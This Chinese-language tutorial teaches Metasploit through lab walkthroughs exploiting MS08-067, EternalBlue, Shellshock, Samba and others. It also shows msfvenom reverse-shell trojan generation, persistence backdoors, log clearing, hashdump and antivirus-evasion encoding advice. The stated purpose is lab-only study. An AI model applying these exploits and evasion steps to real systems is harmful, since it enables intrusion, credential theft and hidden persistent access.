网络安全是数字时代的基石,但学习过程中必须严守法律红线。‌
根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于‌合法授权的靶场环境‌(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景
网络安全学习应以提升防御能力为目标,而非成为攻击工具。

一、MSF

1、概念

MSF,全称为Metasploit Framework,是kali中一款全球知名的开源渗透测试工具。MSF(Metasploit Framework)是网络安全领域最著名的渗透测试框架之一,用于模拟黑客攻击以发现系统漏洞。MSF不仅是一个漏洞集合,更是一个可定制的基础架构,允许用户专注于特定环境,避免重复工作。

它包含五大核心模块

  1. 辅助模块(Auxiliary)用于扫描探测,
  2. 漏洞利用模块(Exploit):负责攻击漏洞;
  3. 攻击载荷模块(Payload):植入后门;
  4. 后期渗透模块(Post):用于权限维持;
  5. 编码工具模块(Encoder):用于免杀

其典型攻击流程包括

​ 扫描目标机寻找漏洞 ==> 配置漏洞利用模块 ==> 选择并配置攻击载荷 ==> 编码绕过杀毒软件 ==> 执行渗透攻击

例如,针对Windows系统的永恒之蓝漏洞(MS17-010),攻击者可通过MSF生成特定载荷进行利用。

MSF的优势:

  • 模块化设计:用户可以轻松加载和使用第三方开发的模块,极大地扩展了其功能。
  • 强大的数据库:MSF内置了大量已知漏洞的利用模块,覆盖操作系统、Web应用等多个领域。
  • 灵活的接口:支持命令行(msfconsole)、图形化界面(Armitage、Web View)和远程调用接口(MSF API)

2、MSF的安装与启动

  • 安装方式:

    • 通过Kali Linux的Metasploit框架安装。

      Kali Linux预装Metasploit,直接通过终端来启动:

      sudo apt update
      sudo apt install metasploit-framework
      msfdb init   # 初始化数据库
      msfconsole   # 启动控制台
      
    • 通过Rapid7的官方网站下载

  • 启动命令:

    msfconsole
    

3、MSF目录结构解读

在这里插入图片描述

MSF Kali下存放目录:/usr/share/metasploit-framework/
在这里插入图片描述

4、基础命令

命令 功能描述
search 按关键词搜索模块(如search ms17_010? ms17_010
use 加载模块(如use exploit/windows/smb/ms17_010_eternalblue
set 设置参数(如set RHOSTS 192.168.1.1
exploit/run 执行攻击
sessions 查看当前的会话
back 从当前环境返回
connect 连接一个主机(如连接到百度的80端口 connect www.baidu.com 80
info 显示一个或多个模块的信息(如info exploit/windows/smb/ms08_067_netapi
quit/exit 退出MSF

5、Meterpreter 常用命令

Meterpreter 命令需在已攻陷目标系统上执行,通过漏洞利用或后门植入获得。高级操作需管理员权限。

1. ‌核心操作
  • 会话管理
    sessions -l 列出所有会话
    sessions -i <ID> 切换到指定会话
    sessions -k <ID> 杀死会话
    background 将当前会话放入后台
  • 进程迁移
    ps 列出当前进程
    migrate <PID> 迁移到指定进程
    kill <PID> 终止进程
  • 权限提升
    getuid 查看当前权限
    getsystem 尝试提升到系统权限
    privilege::escalate 自动提权
2. ‌文件管理
  • 文件上传/下载
    upload <本地文件> <目标路径> 上传文件
    download <目标文件> <本地路径> 下载文件
    示例:upload /root/backdoor.exe C:\\Windows\\
  • 文件系统操作
    ls 列出目录内容
    cd <目录> 切换目录
    cat <文件> 查看文件内容
    rm <文件> 删除文件
    mkdir <目录> 创建目录
    rmdir <目录> 删除目录
3. ‌网络配置
  • 网络信息
    ipconfig 显示网络接口信息
    netstat 显示网络连接
    route 查看路由表
  • 端口转发
    portfwd add -l <本地端口> -p <目标端口> -r <目标IP> 转发端口
    示例:portfwd add -l 8080 -p 80 -r 192.168.1.100
4. ‌系统信息收集
  • 系统信息
    sysinfo 显示操作系统信息
    getpid 获取当前进程ID
    idletime 查看系统闲置时间
  • 用户信息
    enum_logged_on_users 列出登录用户
    get_local_subnets 获取本地子网信息
5. ‌用户权限管理
  • 令牌操作
    token::steal <PID> 偷取进程令牌
    token::list 列出令牌信息
  • 密码管理
    hashdump 导出密码哈希
    run post/windows/gather/lsa_secrets 获取LSA密文
6. ‌后渗透利用
  • 后门植入
    run persistence -U -i 60 -p 4444 -r <攻击机IP> 植入持久后门
    示例:run persistence -U -i 60 -p 4444 -r 192.168.1.10
  • 清除日志
    clearav 清除杀毒软件日志
    clearev 清除系统事件日志

二、MSF渗透测试实例

1、SMB 网络服务器攻击渗透(MS08-067)

漏洞核心来源:通过目标主机开放的445端口(SMB服务默认端口)发送特制的RPC(远程过程调用)请求,调用Server服务中的NetPathCanonicalize函数。

1.)目标及靶场条件

目标:使用MSF在靶机内新建用户

用到的靶机:WinXPenSP3 系统

用到的命令:

msfconsole		# 启动 MSF
use exploit/windows/smb/ms08_067_netapi  # 使用模块 ms08_067_netapi
show options		# 显示设置,方便进行相关设置
set RHOST 目标地址  # 设置目标地址或域名
run		# 启动

# 以下为连接成功后,在MSF 中输入的指令提供给靶机去自执行
shell
net user
net user test test /add  # 添加用户test和密码test

net user test /del		# 删除用户test
2.)实现步骤
1.锁定靶机地址

因为是在虚拟机中运行的靶场,所以直接扫描网段就可以了

nmap 192.168.70.141/24

得到靶机地址 192.168.70.146

在这里插入图片描述

2.运行 MSF

启动Metasploit

msfconsole		# 启动 MSF

在这里插入图片描述

查询模块全称,准备使用相应模块

search 08_067

在这里插入图片描述

复制模块的路径,并使用

use exploit/windows/smb/ms08_067_netapi

在这里插入图片描述

注意图片上边有一段说明:

Interact with a module by name or index. For example info 82, use 82 or use exploit/windows/smb/ms08_067_netapi
After interacting with a module you can manually set a TARGET with set TARGET 'Windows 2003 SP2 Turkish (NX)'

翻译过来: 告诉了我们使用模块的方法

​ 通过名称或索引与模块交互。例如,info 82, use 82use exploit/windows/smb/ms08_067_netapi与模块交互后,您可以手动设置目标,例如:set TARGET 'Windows 2003 SP2 Turkish (NX)'

一般,不设置目标,直接使用模块,让模块自动定位

查询参数设置

show options

在这里插入图片描述

目标地址需要设置,参数名称为 ‘RHOSTS’

set rhosts 192.168.70.146   # 地址为上边检测到的靶机地址

在这里插入图片描述

设置好以后,运行模块

run

在这里插入图片描述

出现 Meterpreter 代表侵入成功。可以启动对方的shell

3.)实现目标
shell
net user   # 查看用户
net user test test /add  # 添加用户test和密码test

在这里插入图片描述

查看靶机的用户

在这里插入图片描述

目标达成!

2、浏览器攻击渗透(MS10-018)

核心漏洞来源:Tabular Data Control ActiveX控件缺陷

1.)目标及靶场条件

目标:使用MSF在靶机内新建用户

用到的靶机:WinXPenSP3 系统

用到的命令:

msfconsole		# 启动 MSF
use 0  # 使用模块模块编号 进入ms10_018_ie_behaviors模块
show options		# 显示设置,方便进行相关设置
set SRVHOST 10.0.0.7	# 设置攻击者服务器 IP(Kali IP)。
set PAYLOAD windows/meterpreter/bind_tcp	# 使用 Meterpreter 绑定 TCP Shell,即正向shell。
set LPORT 4441	# 监听端口(需防火墙放行)也可以不设置。
exploit -j	# 后台执行(-j 参数)。

# 靶机打开设置好的链接,生成会话。kali中连接会话
sessions  # 查看会话
sessions -i 1  # 进入会话1

# 以下为连接成功后,在MSF 中输入的指令提供给靶机去自执行
shell
net user
net user test test /add  # 添加用户test和密码test

net user test /del		# 删除用户test
2.)实现步骤(正向shell)
1.运行 MSF 进入相应模块
msfconsole		# 启动 MSF
search 10_018   # 查找模块
use 0  # 使用模块模块编号 进入ms10_018_ie_behaviors模块
show options		# 显示设置,方便进行相关设置

在这里插入图片描述

2.进行相关设置,并启动
set SRVHOST 10.0.0.7	# 设置攻击者服务器 IP(Kali IP)。

# 使用 Meterpreter 绑定 TCP Shell,即正向shell。默认的payload是反向shell
set PAYLOAD windows/meterpreter/bind_tcp	

set LPORT 4441	# 监听端口(需防火墙放行)也可以不设置。

exploit -j	# 后台执行(-j 参数)。

在这里插入图片描述

3.建立并进入会话

只要靶机打开生成的连接,就可以连上MSF。可以使用 sessions 命令查看

sessions  # 查看会话
sessions -i 1  # 进入会话1

在这里插入图片描述

4.实现靶场目标

此时使用 shell 命令,进入靶机的命令框,就可以添加用户了

5.实现反向shell

与正向shell实现步骤相同,此处不再赘述!

有区别的是会多出来一个会话,但是不管哪个会话都可以进入shell达到添加用户的目标

在这里插入图片描述

3、应用软件格式渗透(MS10-087)

核心漏洞来源:RTF文件解析逻辑缺陷。当用户打开包含超长控制字属性字符串的RTF文件时,Word未对输入数据长度进行验证,直接将数据复制到固定大小的栈缓冲区中,导致溢出

1.)目标及靶场条件

目标:使用MSF创建的rtf文件打开靶机的计算器功能

用到的靶机:WinXPenSP3 系统

用到的命令:

msfconsole
search 10_087
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec # 设置payload 为MSF的windows/exec,即本地执行命令,默认的payload是反向shell
set CMD calc.exe  # 设置 cmd框的指令为运行计算器程序 calc.exe
set FILENAME ceshi.rtf  # 保存文件为 ceshi.rtf
run
2.)实现步骤
1.进入模块,查看相关设置

在这里插入图片描述

2.设置payload

因为使用的payload 是反向shell,所以必须更改payload 然后再查看相关设置

set payload windows/exec # 设置payload 为MSF的windows/exec,即本地执行命令

在这里插入图片描述

3.制作木马
set CMD calc.exe  # 设置 cmd框的指令为运行计算器程序 calc.exe
set FILENAME ceshi.rtf  # 保存文件为 ceshi.rtf。 此步可省略,看心情
run  # 运行

在这里插入图片描述

运行后会生成一个木马文件,Kali下的路径为:/root/.msf4/local/msf.rtf

注意:文件夹名称前边加. 的是 隐藏的文件夹。需要在Kali中显示隐藏的文件和文件夹的话,使用快捷键 CTRL+h

4.靶机内运行木马

拷贝文件到靶机内并运行,会直接启动靶机内的计算器功能

4、利用samba服务漏洞入侵Linux主机(CVE-2017-7494)

核心漏洞来源

​ CVE-2017-7494是Samba软件中一个严重的远程代码执行(RCE)漏洞,因其危害性与传播性被称为“Linux版永恒之蓝”。该漏洞允许攻击者通过SMB协议上传恶意共享库文件(.so),并诱使服务器以root权限加载执行,从而实现权限提升或完全控制目标系统。

1.)目标及靶场条件

目标:获取Linux主机权限来查看用户信息

用到的靶机:vulhub靶场,项目编号CVE-2017-7494

1.准备靶场

首先你要在 Ubuntu 系统中部署了vulhub靶场

登录 ubuntu 系统,并以管理员身份进行操作

find -name CVE-2017-7494	# 查找靶场 CVE-2017-7494 位置
cd ./vulhub/samba/CVE-2017-7494	# 进入靶场
docker-compose up -d	# 启动靶场

docker-compose down   # 销毁靶场。靶场使用完以后必须执行,否则无法加载别的靶场

ifconfig 	# 查询靶场IP地址,或者直接在kali中扫描

在这里插入图片描述

2.用到的命令
# kali中使用的命令
msfconsole
search pipename
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.70.131 # IP地址为Ubuntu的IP
run 
id
2.)实现步骤
1.进入MSF 并进行设置

在这里插入图片描述

2.获得权限查看用户

输入 run 命令,显示会话成功,使用 ls 命令查看 靶场 CVE-2017-7494 的用户信息

在这里插入图片描述

5、Bash Shellshock(破壳CVE-2014-6271)

核心漏洞来源

​ 该漏洞属于注入型漏洞,类似于SQL注入。Bash将用户可控的环境变量数据错误解析为可执行代码,根源在于builtins/evalstring.c中的parse_and_execute函数未对输入进行合法性校验,未检测函数定义的终止标志}

1.)目标及靶场条件

目标:获取靶场权限来查看用户信息

用到的靶机:vulhub靶场,项目编号CVE-2014-6271

1.准备靶场

登录 ubuntu 系统,并以管理员身份进行操作

find -name CVE-2014-6271
cd ./vulhub/samba/CVE-2017-7494	# 进入靶场
docker-compose up -d	# 启动靶场

在这里插入图片描述

查询靶场端口

docker-compose config

映射的是8080端口

在这里插入图片描述

此时,就可以使用 IP+端口 的形式用物理机的浏览器打开靶场

在这里插入图片描述

2.用到的命令
# kali中使用的命令
msfconsole
search env_exec
use multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.70.131 # IP地址为Ubuntu的IP
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id
ls

在这里插入图片描述

相关设置

set RHOSTS 192.168.70.131
set RPORT 8080	# 更改监听端口为靶场映射外部的端口 8080
set TARGETURI /victim.cgi

运行结果

在这里插入图片描述

6、PHP CGI漏洞利用(CVE-2012-1823)

核心漏洞来源

​ 是PHP-CGI模式下存在的一个高危远程代码执行(RCE)漏洞,影响PHP 5.0.0至5.3.11及5.4.0至5.4.1版本。该漏洞源于PHP-CGI在处理HTTP请求的查询字符串(Query String)时,错误地将用户输入解析为命令行参数,导致攻击者可通过构造恶意参数注入任意代码

1.)目标及靶场条件

目标:获取靶场权限来查看用户信息等

用到的靶机:vulhub靶场,项目编号CVE-2012-1823

1.准备靶场

登录 ubuntu 系统,并以管理员身份进行操作

find -name CVE-2012-1823
cd ./php/CVE-2012-1823	# 进入靶场
docker-compose up -d	# 启动靶场
docker-compose config  # 查看靶场端口信息 此靶场外部映射端口为 8080

在这里插入图片描述

登录靶场

在这里插入图片描述

2.)实现步骤

使用的命令

# kali中使用的命令
msfconsole
search arg_injection
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.70.131 # IP地址为Ubuntu的IP
set RPORT 8080  # docker 靶场对外的映射端口
run 
shell
id

运行结果

在这里插入图片描述

7、Distcc后门漏洞(CVE-2004-2678)

核心漏洞来源

​ 是分布式编译工具Distcc中存在的一个远程代码执行(RCE)漏洞,因配置缺陷导致攻击者可通过网络发送恶意编译指令,在目标服务器上执行任意系统命令。

1.)目标及靶场条件

目标:获取靶场权限来查看用户信息等

用到的靶机: Metasploitable2 (Linux)

​ 用户名/密码 msfadmin/msfadmin

用到的命令

msfconsole
search distcc_exec
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl # 设置payload 为MSF的cmd/unix/reverse_perl
set rhost  192.168.70.145  # 靶场的IP
exploit   # run 也可以
id
shell
ls
2.)运行结果

打开靶场以后,获取其IP地址。就可以在物理机中打开虚拟机架设的网站

在这里插入图片描述

在Kali中执行MSF指令后的结果

在这里插入图片描述

TIPS

​ 此次对MSF 的设置中监听端口使用了默认设置,一般在无法建立会话的时候要考虑到靶机的端口是否开放。

8、Metasploit永恒之蓝(ms17_010)

核心漏洞来源

FEALIST结构的内存溢出。漏洞的核心位于SMB协议处理 FEALIST(File Extended Attribute List) 的逻辑中,具体涉及SrvOs2FeaListSizeToNt函数的内存计算错误。该函数负责将OS/2格式的FEALIST转换为NT格式,但在计算所需内存大小时,未正确处理用户输入的长度参数,导致堆缓冲区溢出

1.)目标及靶场条件

目标:使用MSF在靶机内新建用户

用到的靶机:win7系统

tips:复现漏洞前,靶机系统的域防火墙需要关掉,具体执行的文件 wf.msc

使用的代码:

# kali 中运行
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.70.132
set payload windows/x64/shell/bind_tcp
run
net user test test /add
net localgroup administrators zone /add
net user 
net user test /del


# 使用test用户进行远程桌面连接靶机前,在msf的 meterpreter 命令模式下运行
chcp 65001 # 解决现实乱码的问题
# 使用此命令关闭防火墙
netsh advfirewall set allprofiles state off
# 启动远程连接
run post/windows/manage/enable_rdp
2.)运行结果

在这里插入图片描述

三、Metasploit病毒制作

1、msfvenom 简介

msfvenom 是 Metasploit 框架中用于生成攻击载荷(Payload)的核心工具,它集成了 msfpayloadmsfencode 的功能,能创建各种平台(如 Windows、Linux)和格式(如 EXE、DLL)的恶意软件。可以利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听。

2、msfvenom 基本命令结构和常用参数

msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <FORMAT> -o <OUTPUT_FILE>
  • ‌**-p**‌:指定 Payload(如 windows/meterpreter/reverse_tcp
  • LHOST‌:攻击者监听的 IP 地址
  • LPORT‌:监听端口
  • ‌**-f**‌:输出格式(如 exedll
  • ‌**-o**‌:输出文件名

常用参数

  • ‌**-l, --list**‌:列出所有可用的项目(如 payloads、encoders、formats)
  • ‌**-e, --encoder**‌:指定编码器(如 x86/shikata_ga_nai 用于免杀)
  • ‌**-a, --arch**‌:指定目标系统架构(如 x86x64
  • ‌**–platform**‌:指定目标系统平台(如 windowslinux

3、常用Payload编码器速查表:

3.1 x86架构的编码器
编码器名称 适用平台 特点描述 使用示例
x86/shikata_ga_nai Windows/Linux 多态编码器,支持动态密钥和循环异或操作,评级最高(excellent)。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
x86/alpha_upper Windows 将字符转换为大写形式,用于绕过大小写敏感的检测。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/alpha_upper -f exe -o payload.exe
x86/countdown Windows 通过计数循环混淆代码,增加静态分析难度。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/countdown -i 5 -f exe -o payload.exe
x86/none Windows/Linux 不进行编码,适用于需要原始Payload的场景。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o payload.exe
x86/random Windows 随机化代码结构,降低特征匹配概率。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/random -i 3 -f exe -o payload.exe
3.2 x64架构的编码器
编码器名称 适用平台 特点描述 使用示例
x64/shikata_ga_nai Windows/Linux 多态编码器,支持多次迭代(-i参数),是绕过AV检测的强力选择 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/shikata_ga_nai -i 5 -f exe -o shikata_ga_nai.exe
x64/alpha_mixed Windows 混合大小写编码,适用于绕过简单的大小写检测 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/alpha_mixed -f exe -o alpha_mixed.exe
x64/rc4 Windows/Linux 使用RC4算法进行流式加密,编码后Payload体积会增大 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/rc4 -f exe -o rc4.exe
x64/xor Windows/Linux 简单XOR加密 msfvenom -p windows/meterpreter/reverse_tcp -e x64/xor -f exe
x64/add_sub Windows/Linux 加减法混淆 msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/add_sub -f elf
x64/call4_dword_xor Windows/Linux 调用指令与XOR结合 msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/call4_dword_xor -f exe
x64/countdown Windows/Linux 递减计数器混淆 msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/countdown -f elf
x64/jmp_call_additive Windows/Linux 跳转/调用/加法组合 msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/jmp_call_additive -f exe
x64/nonalpha Windows/Linux 非字母字符混淆 msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/nonalpha -f elf
x64/nonupper Windows/Linux 非大写字母混淆 msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/nonupper -f exe
x64/unicode_upper Windows/Linux Unicode大写混淆 msfvenom -p linux/x64/meterpreter/reverse_tcp -e x64/unicode_upper -f elf
3.3 使用建议
  • 多次编码‌:通过 -i 参数指定编码次数(建议5-15次),可显著提升免杀效果。
  • 组合使用‌:可串联多个编码器(如 shikata_ga_nai + countdown)以增强混淆能力。
  • 平台匹配‌:确保编码器与目标平台架构(如 x86/x64)兼容。

4、msfvenom 模块选择指南

在使用 msfvenom 生成攻击载荷时,模块选择至关重要,因为不同的模块适用于不同的操作系统和控制方式。以下是关键选择项及其说明:

4.1 ‌Payload 模块选择
  • 格式‌: -p, --payload <payload>
    指定攻击载荷类型,如 windows/meterpreter/reverse_tcp
    示例‌:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o payload.exe
    
  • 分类‌:

    • 操作系统‌: windows, linux, android, osx
    • 控制方式‌: meterpreter(高级控制), shell(命令行控制)
    • 传输方式‌: reverse_tcp(反向连接), bind_tcp(正向连接)
    • 架构‌: x86, x64
      示例‌:
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o payload.elf
    
4.2 编码器选择
  • 格式‌: -e, --encoder [encoder]
    通过多重编码绕过杀毒软件。
    示例‌:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
    
4.3 模板文件选择
  • 格式‌: -x, --template <path>
    使用自定义可执行文件作为模板,注入恶意代码。
    示例‌:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -x template.exe -k -f exe -o payload.exe
    
4.4 ‌输出格式选择
  • 格式‌: -f, --format <format>
    指定生成文件的格式(如 exe, elf, apk)。
    示例‌:

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o payload.apk
    
4.5 ‌参数配置
  • 监听地址‌: LHOST
    攻击主机的 IP 地址。
  • 监听端口‌: LPORT
    攻击主机的监听端口。
  • 架构‌: -a, --arch
    目标系统的架构(如 x86, x64)。
  • 平台‌: --platform
    目标操作系统的平台(如 win, linux)。
4.6 ‌查看可用模块
  • 列出所有 Payload‌:

    msfvenom -l payloads
    
  • 列出所有编码器‌:

    msfvenom -l encoders
    
4.7 示例命令
# 生成 Windows 反向 TCP Meterpreter 木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe

# 生成 Android 反向 TCP Meterpreter APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o payload.apk

# 使用模板文件生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -x template.exe -k -f exe -o payload.exe

注意‌:

  • 选择模块时需匹配目标系统的架构和操作系统(如 windows/x64/meterpreter/reverse_tcp)。
  • 多重编码(如 -e x86/shikata_ga_nai -i 10)可提高隐蔽性。
  • 使用模板文件(-x)可绕过杀毒软件。

5、实例–远程监控

靶机:win7 虚拟机

目标:对靶机进行监控

1.)制作木马
# Kali中运行
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5445  -f exe > hello.exe
# 使用msfvenom的windows/meterpreter/reverse_tcp模块创建木马,IP为监控主机Kali的地址,端口随便设,文件名随便设,此处为hello.exe

在这里插入图片描述

文件就保存在 root 目录下

在这里插入图片描述

将木马传递给靶机,并点击运行(模仿被攻击人员运行不明程序),此时系统进程里会出现此木马的进程

在这里插入图片描述

2.)开启监听

命令集

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.70.141    # 地址为监听端地址,即Kali的IP
set lport 5445		# 此处的端口要与制作木马时的端口号一致
exploit  -j     # 或者使用 run

运行结果

在这里插入图片描述

当靶机运行木马后,主机会提示 Sending stage (188998 bytes) to 192.168.70.132

并进入 meterpreter 提示符状态。

使用 命令开始监听

run vnc

此时 Kali中会出现靶机的画面,但是无法进行操作

在这里插入图片描述

与靶机win7的画面相同

四、本文总结与心得

1、MSF核心认知

Metasploit Framework(MSF)作为渗透测试领域的行业标准工具,其模块化设计极大提升了漏洞利用效率。通过学习可知,MSF包含五大核心模块:辅助模块(Auxiliary)负责扫描探测,漏洞利用模块(Exploit)执行攻击,攻击载荷模块(Payload)植入后门,后期渗透模块(Post)维持权限,编码工具模块(Encoder)实现免杀。这种架构使安全测试人员能专注于漏洞场景而非重复开发,典型攻击流程涵盖"扫描-配置-载荷-编码-攻击"五个阶段。

2、技术要点总结

1. 基础操作体系
  • 环境部署:Kali Linux预装MSF,通过msfdb init初始化数据库、msfconsole启动控制台
  • 核心命令search模块检索、use加载模块、set配置参数、exploit/run执行攻击构成基础工作流
  • Meterpreter交互:提供会话管理(sessions)、进程迁移(migrate)、权限提升(getsystem)等高级功能,是后渗透阶段的核心工具
2. 典型漏洞利用场景

文档通过8个实战案例展示了MSF的应用广度:

  • Windows系统:MS08-067(SMB服务)、MS17-010(永恒之蓝)等经典漏洞利用
  • 浏览器攻击:MS10-018利用IE控件缺陷实现远程代码执行
  • 文件格式漏洞:MS10-087通过RTF文件解析缺陷触发栈溢出
  • Linux系统:CVE-2017-7494(Samba)、CVE-2014-6271(破壳漏洞)等跨平台渗透
3. 攻击载荷生成

msfvenom工具整合了payload生成与编码功能,支持Windows(EXE/DLL)、Linux(ELF)、Android(APK)等多平台格式17页。通过-e参数选择编码器(如x86/shikata_ga_nai)、-i参数设置编码迭代次数,可有效提升免杀能力。模板注入(-x参数)技术能将恶意代码伪装成正常程序,增强攻击隐蔽性。

3、实践经验提炼

  1. 环境准备:靶场搭建建议使用Vulhub、Metasploitable等标准化环境,确保漏洞复现的一致性
  2. 参数配置:RHOSTS(目标地址)、LPORT(监听端口)等核心参数需严格匹配,反向连接(reverse_tcp)与正向连接(bind_tcp)需根据网络环境选择
  3. 权限维持:通过persistence模块植入持久后门、clearev清除日志等操作,可实现长期控制
  4. 免杀策略:组合使用多编码器(如shikata_ga_nai+countdown)、增加编码迭代次数(5-15次)是基础免杀手段

4、安全伦理思考

学习MSF技术需坚守法律与道德底线,所有测试必须获得明确授权。文档中所有案例均基于实验环境,实际应用中应严格遵守《网络安全法》等法律法规,将技术用于防御体系建设而非恶意攻击。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐